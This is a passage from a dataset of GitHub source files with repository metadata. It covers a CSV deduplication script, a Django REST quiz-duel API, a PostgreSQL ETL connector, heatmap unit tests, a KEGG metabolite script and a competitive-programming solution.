argparse.ArgumentParser(\"coliminator.py\")\nparser.add_argument(\"input_file\", help=\"The input CSV file to eliminate columns from.\", type=str)\nparser.add_argument(\"output_file\", help=\"The output CSV file to print the final results.\", type=str)\nargs = parser.parse_args()\n\nprint(\"Reading from: \" + args.input_file)\nwith open(args.input_file, 'rb') as csvDataFile:\n csvReader = csv.reader(csvDataFile)\n for row in csvReader:\n removeDuplicate(row, args.output_file)\n\nprint(\"Duplicates removed and written to: \" + args.output_file)\n", "repo_name": "2DSharp/coliminator-py", "sub_path": "coliminator.py", "file_name": "coliminator.py", "file_ext": "py", "file_size_in_byte": 935, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.OrderedDict.fromkeys", "line_number": 10, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 10, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 12, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 15, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 22, "usage_type": "call"}]} +{"seq_id": "44056771770", "text": "from rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom rest_framework.viewsets import GenericViewSet\nfrom rest_framework import status\nfrom django.db.models import Q\nfrom django.shortcuts import get_object_or_404\nfrom django.utils import timezone\nfrom api.settings import NUMERO_DE_PREGUNTAS_POR_CUESTIONARIO\n\nfrom apps.preguntas.api.serializers.preguntas_serializers import PreguntaSerializer\nfrom apps.partidas.models import AnswerLogs, Partida, Duelos\nfrom apps.preguntas.models import Pregunta, Opcion, Tema\nfrom apps.partidas.api.serializers.duelos_serializers import *\nfrom apps.partidas.api.serializers.general_serializers import AnswerLogsSerializer\nfrom apps.partidas.api.views.utils import *\n\n\n\nclass PartidaDueloViewSet(GenericViewSet):\n serializer_class = DuelosSerializer\n serializer_class_retrieve = DuelosReviewSerializer\n serializer_class_list = DuelosListSerializer\n serializer_class_list_play = DuelosListStudentSerializer\n pregunta_serializer = PreguntaSerializer\n model = Duelos\n\n\n def get_queryset(self, pk=None):\n if pk is None:\n return self.model.objects.all()\n return self.model.objects.filter(id=pk).first()\n\n def list(self, request):\n if request.user.is_staff: # Todos los duelos (profesores)\n duelos = self.filter_queryset(self.get_queryset()).filter(Q(estado=3)|Q(estado=4)).order_by(\"-modified_date\")\n page = self.paginate_queryset(duelos)\n if page is not None:\n duelos_serial = self.serializer_class_list(page, many = True)\n return self.get_paginated_response(duelos_serial.data)\n duelos_serial = self.serializer_class_list(duelos, many = True)\n else: # Duelos propios (alumnos)\n duelos = self.filter_queryset(self.get_queryset()).filter(Q(user1 = request.user) | Q(user2 = request.user), ~Q(estado=4)).exclude(estado=1, user2=request.user).order_by(\"-modified_date\")\n page = self.paginate_queryset(duelos)\n if page is not None:\n duelos_serial = self.serializer_class_list_play(page, many = True)\n return self.get_paginated_response(duelos_serial.data)\n duelos_serial = self.serializer_class_list_play(duelos, many = True)\n return Response(duelos_serial.data)\n\n def retrieve(self, request, pk=None):\n duelo = self.get_object()\n if (request.user.is_staff and duelo.estado == 3 or duelo.estado == 4) or (duelo.user1 == request.user or duelo.user2 == request.user and duelo.estado != 4):\n duelo_serializer = self.serializer_class_retrieve(duelo)\n return Response(duelo_serializer.data)\n return Response({\"error\": \"No tienes acceso a esta partida.\"}, status=status.HTTP_403_FORBIDDEN)\n\n # USUARIO 1 CREA LA PARTIDA\n def create(self, request):\n if not request.user.is_staff and request.user.is_active:\n user2 = User.objects.filter(username=request.data.get('user2', None)).first()\n if user2 and not user2.is_staff and user2 and user2.is_active:\n if request.user != user2:\n tema = request.data.get('tema', None)\n idioma = request.data.get('idioma', None)\n if not tema or not idioma:\n return Response({\"error\": \"No se ha especificado el tema o el idioma.\"}, status=status.HTTP_400_BAD_REQUEST)\n if Pregunta.objects.filter(tema__nombre=tema, idioma=idioma, estado=2).count() < NUMERO_DE_PREGUNTAS_POR_CUESTIONARIO:\n return Response({\"error\": {\"tema\": \"No existen suficientes preguntas con el tema e idioma elegido.\", \"idioma\": \"No existen suficientes preguntas con el tema e idioma elegido.\"}}, status=status.HTTP_400_BAD_REQUEST)\n\n partida = Partida(tema = Tema.objects.filter(nombre=tema).first(), idioma = idioma)\n partida.save()\n data = {\n \"user1\": request.user.id,\n \"user2\": user2,\n \"partidaUser1\": partida.id,\n }\n duelo = self.serializer_class(data=data)\n if duelo.is_valid():\n duelo.save()\n\n return Response(duelo.data, status = status.HTTP_201_CREATED)\n return Response({'error': duelo.errors}, status=status.HTTP_400_BAD_REQUEST)\n return Response({\"error\": {\"user2\": \"No te puedes retar a tí mismo.\"}}, status=status.HTTP_400_BAD_REQUEST)\n return Response({\"error\": {\"user2\": \"Introduce un rival válido.\"}}, status=status.HTTP_400_BAD_REQUEST)\n return Response({\"error\": \"No puede crear duelos.\"}, status=status.HTTP_403_FORBIDDEN)\n\n # Guardar las preguntas del cuestionario en AnswerLogs\n def update(self, request, pk = None):\n duelo = self.get_object()\n if duelo.user1 == request.user:\n partida = duelo.partidaUser1\n elif duelo.user2 == request.user:\n partida = duelo.partidaUser2\n else:\n return Response({\"error\": \"La partida seleccionada no pertenece al usuario.\"}, status=status.HTTP_403_FORBIDDEN)\n \n if partida.preguntas.filter(timeIni__isnull=False).exists():\n return Response({\"error\": \"La partida ya ha sido jugada.\"}, status=status.HTTP_400_BAD_REQUEST)\n respuestas = request.data.get('respuestas', None)\n if respuestas:\n for r in respuestas:\n # Update AnswerLogs\n log = AnswerLogs.objects.get(pregunta=Pregunta.objects.get(pk=r['id']), partida=partida)\n log.respuesta = Opcion.objects.get(pk=r['respuesta']) if 'respuesta' in r else None\n log.timeIni = r['timeIni'] if 'timeIni' in r else None\n log.timeFin = r['timeFin'] if 'timeFin' in r else None\n log.acierto = esAcierto(log.pregunta, log.respuesta)\n log.save()\n \n return Response({\"message\": \"Respuestas guardadas correctamente.\",\n \"porcentaje\": partida.porcentaje_acierto,\n \"tiempo\": partida.tiempo},\n status=status.HTTP_200_OK)\n return Response({\"error\": {\"respuestas\": \"Este campo es requerido\"}}, status=status.HTTP_400_BAD_REQUEST)\n\n@api_view(['PATCH'])\ndef decidir(request, pk=None):\n duelo = get_object_or_404(Duelos, pk=pk)\n if request.user == duelo.user2:\n if duelo.estado == 2:\n decision = request.data.get('decision', None)\n if decision:\n partida = Partida(tema = duelo.partidaUser1.tema, idioma = duelo.partidaUser1.idioma)\n partida.save()\n duelo.estado = 5\n duelo.partidaUser2 = partida\n else:\n duelo.estado = 4\n duelo.save()\n return Response({\"message\": \"Duelo aceptado.\" if decision else \"Duelo rechazado\"}, status=status.HTTP_200_OK)\n return Response({\"error\": \"Solo puedes decidir retos que estén pendientes\"}, status = status.HTTP_403_FORBIDDEN)\n return Response({\"error\": \"No puedes decidir en esta partida.\"}, status=status.HTTP_403_FORBIDDEN)\n\n@api_view(['GET'])\ndef getPreguntas(request, pk=None):\n duelo = get_object_or_404(Duelos, pk=pk)\n if request.user == duelo.user1 and duelo.estado == 1 and duelo.partidaUser1.preguntas.count() == 0:\n partida = duelo.partidaUser1\n duelo.estado = 2\n preguntas = preguntas_user1(partida)\n elif request.user == duelo.user2 and duelo.estado == 5 and duelo.partidaUser2.preguntas.count() == 0:\n partida = duelo.partidaUser2\n duelo.estado = 3\n preguntas = preguntas_user2(duelo.partidaUser1)\n else:\n return Response({\"error\": \"No puedes obtener las preguntas de esta partida.\"}, status=status.HTTP_403_FORBIDDEN)\n\n duelo.save()\n for p in preguntas:\n log = AnswerLogs(pregunta=Pregunta.objects.get(pk=p['id']), partida=partida)\n log.save()\n\n return Response(preguntas, status=status.HTTP_200_OK)", "repo_name": "rubenperezm/roBDa", "sub_path": "api/apps/partidas/api/views/duelos_viewsets.py", "file_name": "duelos_viewsets.py", "file_ext": "py", "file_size_in_byte": 8183, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 19, "usage_type": "name"}, {"api_name": "apps.preguntas.api.serializers.preguntas_serializers.PreguntaSerializer", "line_number": 24, "usage_type": "name"}, {"api_name": "apps.partidas.models.Duelos", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 35, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 42, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 48, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 54, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 55, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 55, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 55, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 66, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 66, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 66, "usage_type": "name"}, {"api_name": "apps.preguntas.models.Pregunta.objects.filter", "line_number": 67, "usage_type": "call"}, {"api_name": "apps.preguntas.models.Pregunta.objects", "line_number": 67, "usage_type": "attribute"}, {"api_name": "apps.preguntas.models.Pregunta", "line_number": 67, "usage_type": "name"}, {"api_name": "api.settings.NUMERO_DE_PREGUNTAS_POR_CUESTIONARIO", "line_number": 67, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 68, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 68, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 68, "usage_type": "name"}, {"api_name": "apps.partidas.models.Partida", "line_number": 70, "usage_type": "call"}, {"api_name": "apps.preguntas.models.Tema.objects.filter", "line_number": 70, "usage_type": "call"}, {"api_name": "apps.preguntas.models.Tema.objects", "line_number": 70, "usage_type": "attribute"}, {"api_name": "apps.preguntas.models.Tema", "line_number": 70, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 81, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 81, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 81, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 82, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 82, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 82, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 83, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 83, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 83, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 84, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 84, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 84, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 85, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 85, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 85, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 95, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 95, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 95, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 98, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 98, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 98, "usage_type": "name"}, {"api_name": "apps.partidas.models.AnswerLogs.objects.get", "line_number": 103, "usage_type": "call"}, {"api_name": "apps.partidas.models.AnswerLogs.objects", "line_number": 103, "usage_type": "attribute"}, {"api_name": "apps.partidas.models.AnswerLogs", "line_number": 103, "usage_type": "name"}, {"api_name": "apps.preguntas.models.Pregunta.objects.get", "line_number": 103, "usage_type": "call"}, {"api_name": "apps.preguntas.models.Pregunta.objects", "line_number": 103, "usage_type": "attribute"}, {"api_name": "apps.preguntas.models.Pregunta", "line_number": 103, "usage_type": "name"}, {"api_name": "apps.preguntas.models.Opcion.objects.get", "line_number": 104, "usage_type": "call"}, {"api_name": "apps.preguntas.models.Opcion.objects", "line_number": 104, "usage_type": "attribute"}, {"api_name": "apps.preguntas.models.Opcion", "line_number": 104, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 110, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 113, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 113, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 114, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 114, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 114, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 118, "usage_type": "call"}, {"api_name": "apps.partidas.models.Duelos", "line_number": 118, "usage_type": "argument"}, {"api_name": "apps.partidas.models.Partida", "line_number": 123, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 130, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 130, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 130, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 131, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 131, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 131, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 132, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 132, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 132, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 116, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 136, "usage_type": "call"}, {"api_name": "apps.partidas.models.Duelos", "line_number": 136, "usage_type": "argument"}, {"api_name": "rest_framework.response.Response", "line_number": 146, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 146, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 146, "usage_type": "name"}, {"api_name": "apps.partidas.models.AnswerLogs", "line_number": 150, "usage_type": "call"}, {"api_name": "apps.preguntas.models.Pregunta.objects.get", "line_number": 150, "usage_type": "call"}, {"api_name": "apps.preguntas.models.Pregunta.objects", "line_number": 150, "usage_type": "attribute"}, {"api_name": "apps.preguntas.models.Pregunta", "line_number": 150, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 153, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 153, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 153, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 134, "usage_type": "call"}]} +{"seq_id": "19114314363", "text": "# coding: utf-8\nfrom .interfaces import Database\nfrom etl.services.db.maps import postgresql as pgsql_map\nfrom collections import defaultdict\nfrom itertools import groupby\nimport psycopg2\n\n\nclass Postgresql(Database):\n \"\"\"Управление источником данных Postgres\"\"\"\n\n db_map = pgsql_map\n\n @staticmethod\n def get_connection(conn_info):\n \"\"\"\n Получение соединения к базе данных\n \"\"\"\n try:\n conn_str = (u\"host='{host}' dbname='{db}' user='{login}' \"\n u\"password='{password}' port={port}\").format(**conn_info)\n conn = psycopg2.connect(conn_str)\n except psycopg2.OperationalError:\n return None\n return conn\n\n @staticmethod\n def get_separator():\n \"\"\"\n Возвращает кавычки(\") для запроса\n \"\"\"\n return '\\\"'\n\n def get_structure_rows_number(self, structure, cols):\n \"\"\"\n возвращает примерное кол-во строк в запросе для планирования\n :param structure:\n :param cols:\n :return:\n \"\"\"\n separator = self.get_separator()\n query_join = self.generate_join(structure)\n\n pre_cols_str = '{sep}{0}{sep}.{sep}{1}{sep}'.format(\n '{table}', '{col}', sep=separator)\n cols_str = ', '.join(\n [pre_cols_str.format(**x) for x in cols])\n\n select_query = self.get_select_query().format(\n cols_str, query_join)\n\n explain_query = 'explain analyze ' + select_query\n records = self.get_query_result(explain_query)\n data = records[0][0].split()\n count = None\n for d in data:\n if d.startswith('rows='):\n count = d\n return int(count[5:])\n\n @staticmethod\n def _get_columns_query(source, tables):\n \"\"\"\n Получение запросов на получение данных о колонках, индексах и\n ограничениях\n \"\"\"\n tables_str = '(' + ', '.join([\"'{0}'\".format(y) for y in tables]) + ')'\n\n # public - default scheme for postgres\n cols_query = pgsql_map.cols_query.format(tables_str, source.db, 'public')\n constraints_query = pgsql_map.constraints_query.format(tables_str)\n indexes_query = pgsql_map.indexes_query.format(tables_str)\n return cols_query, constraints_query, indexes_query\n\n @staticmethod\n def get_select_query():\n \"\"\"\n возвращает селект запрос\n :return: str\n \"\"\"\n return \"SELECT {0} FROM {1};\"\n\n @classmethod\n def get_statistic_query(cls, source, tables):\n \"\"\"\n запрос для статистики\n :param source: Datasource\n :param tables: list\n :return: str\n \"\"\"\n tables_str = '(' + ', '.join([\"'{0}'\".format(y) for y in tables]) + ')'\n return cls.db_map.stat_query.format(tables_str)\n\n @staticmethod\n def local_table_create_query(key_str, cols_str):\n \"\"\"\n запрос на создание новой таблицы в локал хранилище\n :param key_str:\n :param cols_str:\n :return:\n \"\"\"\n create_query = \"CREATE TABLE {0} ({1})\".format(key_str, cols_str)\n\n return create_query\n\n @staticmethod\n def local_table_insert_query(key_str):\n \"\"\"\n запрос на инсерт в новую таблицу локал хранилища\n :param key_str:\n :return:\n \"\"\"\n insert_query = \"INSERT INTO {0} VALUES {1}\".format(key_str, '{0}')\n return insert_query\n\n @staticmethod\n def remote_table_create_query():\n \"\"\"\n запрос на создание новой таблицы в БД клиента\n \"\"\"\n return pgsql_map.remote_table_query\n\n @staticmethod\n def remote_triggers_create_query():\n \"\"\"\n запрос на создание триггеров в БД клиента\n \"\"\"\n return pgsql_map.remote_triggers_query\n\n @staticmethod\n def get_primary_key(table, db):\n \"\"\"\n запрос на получение Primary Key\n \"\"\"\n return pgsql_map.pr_key_query.format(\"('{0}')\".format(table), db)\n\n @staticmethod\n def delete_primary_query(table, primary):\n return pgsql_map.delete_primary_key.format(table, primary)\n", "repo_name": "BionNetwork/platform", "sub_path": "etl/services/db/postgresql.py", "file_name": "postgresql.py", "file_ext": "py", "file_size_in_byte": 4525, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "interfaces.Database", "line_number": 9, "usage_type": "name"}, {"api_name": "etl.services.db.maps.postgresql", "line_number": 12, "usage_type": "name"}, {"api_name": "psycopg2.connect", "line_number": 22, "usage_type": "call"}, {"api_name": "psycopg2.OperationalError", "line_number": 23, "usage_type": "attribute"}, {"api_name": "etl.services.db.maps.postgresql.cols_query.format", "line_number": 70, "usage_type": "call"}, {"api_name": "etl.services.db.maps.postgresql.cols_query", "line_number": 70, "usage_type": "attribute"}, {"api_name": "etl.services.db.maps.postgresql", "line_number": 70, "usage_type": "name"}, {"api_name": "etl.services.db.maps.postgresql.constraints_query.format", "line_number": 71, "usage_type": "call"}, {"api_name": "etl.services.db.maps.postgresql.constraints_query", "line_number": 71, "usage_type": "attribute"}, {"api_name": "etl.services.db.maps.postgresql", "line_number": 71, "usage_type": "name"}, {"api_name": "etl.services.db.maps.postgresql.indexes_query.format", "line_number": 72, "usage_type": "call"}, {"api_name": "etl.services.db.maps.postgresql.indexes_query", "line_number": 72, "usage_type": "attribute"}, {"api_name": "etl.services.db.maps.postgresql", "line_number": 72, "usage_type": "name"}, {"api_name": "etl.services.db.maps.postgresql.remote_table_query", "line_number": 121, "usage_type": "attribute"}, {"api_name": "etl.services.db.maps.postgresql", "line_number": 121, "usage_type": "name"}, {"api_name": "etl.services.db.maps.postgresql.remote_triggers_query", "line_number": 128, "usage_type": "attribute"}, {"api_name": "etl.services.db.maps.postgresql", "line_number": 128, "usage_type": "name"}, {"api_name": "etl.services.db.maps.postgresql.pr_key_query.format", "line_number": 135, "usage_type": "call"}, {"api_name": "etl.services.db.maps.postgresql.pr_key_query", "line_number": 135, "usage_type": "attribute"}, {"api_name": "etl.services.db.maps.postgresql", "line_number": 135, "usage_type": "name"}, {"api_name": "etl.services.db.maps.postgresql.delete_primary_key.format", "line_number": 139, "usage_type": "call"}, {"api_name": "etl.services.db.maps.postgresql.delete_primary_key", "line_number": 139, "usage_type": "attribute"}, {"api_name": "etl.services.db.maps.postgresql", "line_number": 139, "usage_type": "name"}]} +{"seq_id": "16117581545", "text": "from datetime import datetime\n\nimport numpy\nimport pandas as pd\nimport pytest\n\nfrom hubify.heatmap import calculate_position_heatmap, group_by_day, pad_to_sundays, prepare_base_heatmap\n\n\ndef test_prepare_events():\n input_data = pd.DataFrame(\n [\n (datetime(2021, 1, 1), 1),\n (datetime(2021, 1, 3), 2),\n ],\n columns=[\"date\", \"events\"],\n )\n expected = pd.DataFrame(\n [\n (datetime(2021, 1, 1), 1, 0, 5),\n (datetime(2021, 1, 3), 2, 1, 0),\n ],\n columns=[\"date\", \"events\", \"week\", \"weekday\"],\n )\n\n actual = calculate_position_heatmap(input_data, datetime(2020, 12, 27))\n\n pd.testing.assert_frame_equal(expected, actual)\n\n\ndef testgroup_by_day():\n\n # Prepare\n input_data = pd.Series(\n [\n datetime(2022, 1, 3, 10, 20),\n datetime(2022, 1, 4, 23, 55),\n datetime(2022, 1, 5, 9, 5),\n datetime(2022, 1, 6),\n datetime(2022, 1, 3),\n ]\n )\n\n expected = pd.DataFrame(\n [\n (datetime(2022, 1, 3), 2),\n (datetime(2022, 1, 4), 1),\n (datetime(2022, 1, 5), 1),\n (datetime(2022, 1, 6), 1),\n ],\n columns=[\"date\", \"events\"],\n )\n\n # Act\n actual_result = group_by_day(input_data)\n\n # Assert\n pd.testing.assert_frame_equal(actual_result, expected)\n\n\ndef test_prepare_base_heatmap():\n # Prepare\n input_data = pd.DataFrame(\n [\n (\n datetime(2022, 1, 2),\n 2,\n 0,\n 0,\n ),\n (\n datetime(2022, 1, 3),\n 1,\n 0,\n 1,\n ),\n (\n datetime(2022, 1, 4),\n 1,\n 0,\n 2,\n ),\n (\n datetime(2022, 1, 5),\n 1,\n 0,\n 3,\n ),\n ],\n columns=[\"date\", \"events\", \"week\", \"weekday\"],\n )\n\n expected = numpy.array(\n [\n [2],\n [1],\n [1],\n [1],\n [numpy.nan],\n [numpy.nan],\n [numpy.nan],\n ]\n )\n\n # Act\n actual = prepare_base_heatmap(input_data, weeks=1)\n\n # Assert\n numpy.testing.assert_equal(actual, expected)\n\n\n@pytest.mark.parametrize(\n [\"start_date\", \"end_date\", \"start_sunday\", \"end_sunday\"],\n [\n (datetime(2021, 1, 3), datetime(2021, 1, 9), datetime(2021, 1, 3), datetime(2021, 1, 10)),\n (datetime(2021, 1, 3), datetime(2021, 1, 10), datetime(2021, 1, 3), datetime(2021, 1, 17)),\n (datetime(2021, 1, 1), datetime(2021, 12, 31), datetime(2020, 12, 27), datetime(2022, 1, 2)),\n ],\n)\ndef test_pad_to_sundays(start_date, end_date, start_sunday, end_sunday):\n actual_start_sunday, actual_end_sunday = pad_to_sundays(start_date, end_date)\n assert actual_start_sunday == start_sunday\n assert actual_end_sunday == end_sunday\n", "repo_name": "fferegrino/hubify", "sub_path": "tests/test_hubify.py", "file_name": "test_hubify.py", "file_ext": "py", "file_size_in_byte": 3018, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pandas.DataFrame", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 21, "usage_type": "call"}, {"api_name": "hubify.heatmap.calculate_position_heatmap", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.testing.assert_frame_equal", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.testing", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 40, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 49, "usage_type": "call"}, {"api_name": "hubify.heatmap.group_by_day", "line_number": 55, "usage_type": "call"}, {"api_name": "pandas.testing.assert_frame_equal", "line_number": 58, "usage_type": "call"}, {"api_name": "pandas.testing", "line_number": 58, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 63, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 66, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 72, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 78, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 99, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 100, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 101, "usage_type": "attribute"}, {"api_name": "hubify.heatmap.prepare_base_heatmap", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 109, "usage_type": "attribute"}, {"api_name": "hubify.heatmap.pad_to_sundays", "line_number": 121, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 112, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 112, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 115, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 116, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 117, "usage_type": "call"}]} +{"seq_id": "16335369511", "text": "\"\"\"get_metabolites_from_pathway.py\n\"\"\"\n\nfrom parse_KEGG import get_pathway2kos, get_ko2rxns, get_reactions, get_co_info\nimport argparse\n\ndef main(pathways, output):\n pathway2kos = get_pathway2kos()\n kos = set()\n for pathway in pathways:\n kos = kos | set(pathway2kos[pathway])\n del pathway2kos\n ko2rxns = get_ko2rxns()\n rxns = set()\n for ko in kos:\n rxns = rxns | set(ko2rxns[ko])\n del ko2rxns\n reactions = get_reactions()\n metabolites = set()\n for rxn in rxns:\n reacts, prods, rever = reactions[rxn]\n metabolites = metabolites | set(reacts) | set(prods)\n del reactions\n metab_info = ['KEGG_id\\tname\\tformula\\tmass']\n co_info = get_co_info()\n for metabolite in metabolites:\n compound = co_info[metabolite]\n metab_info.append('\\t'.join([str(compound.co), str(compound.name), str(compound.formula), str(compound.mass)]))\n f = open(output, 'w')\n f.write('\\n'.join(metab_info)+'\\n')\n \nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-p\", \"--pathways\", nargs='+', required=True,\n help=\"pathways to get metabolites from\")\n parser.add_argument(\"-o\", \"--output\", required=True,\n help=\"file to output results\")\n args = parser.parse_args()\n \n main(args.pathways, args.output)", "repo_name": "shafferm/microbiome_metab", "sub_path": "get_metabolites_from_pathway.py", "file_name": "get_metabolites_from_pathway.py", "file_ext": "py", "file_size_in_byte": 1361, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "parse_KEGG.get_pathway2kos", "line_number": 8, "usage_type": "call"}, {"api_name": "parse_KEGG.get_ko2rxns", "line_number": 13, "usage_type": "call"}, {"api_name": "parse_KEGG.get_reactions", "line_number": 18, "usage_type": "call"}, {"api_name": "parse_KEGG.get_co_info", "line_number": 25, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 33, "usage_type": "call"}]} +{"seq_id": "14348987436", "text": "from copy import deepcopy\nfrom itertools import combinations, product\n\nH, W, K = map(int, input().split())\nboard = []\nfor _ in range(H):\n row = input()\n row = [r == \"#\" for r in row]\n board.append(row)\n\nall_h_comb = [()]\nfor r in range(1, H):\n comb_obj = combinations(range(H), r)\n all_h_comb += list(comb_obj)\nall_w_comb = [()]\nfor c in range(1, W):\n comb_obj = combinations(range(W), c)\n all_w_comb += list(comb_obj)\nall_comb = list(product(all_h_comb, all_w_comb))\n\nres = 0\nfor comb in all_comb:\n r, c = comb\n tmp_board = deepcopy(board)\n for _r in r:\n tmp_board[_r] = [False] * W\n for _c in c:\n for b in tmp_board:\n b[_c] = False\n s = sum(sum(l) for l in tmp_board)\n if s == K:\n res += 1\nprint(res)\n\n", "repo_name": "kznovo/atcoder", "sub_path": "abc173/python/C.py", "file_name": "C.py", "file_ext": "py", "file_size_in_byte": 775, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": 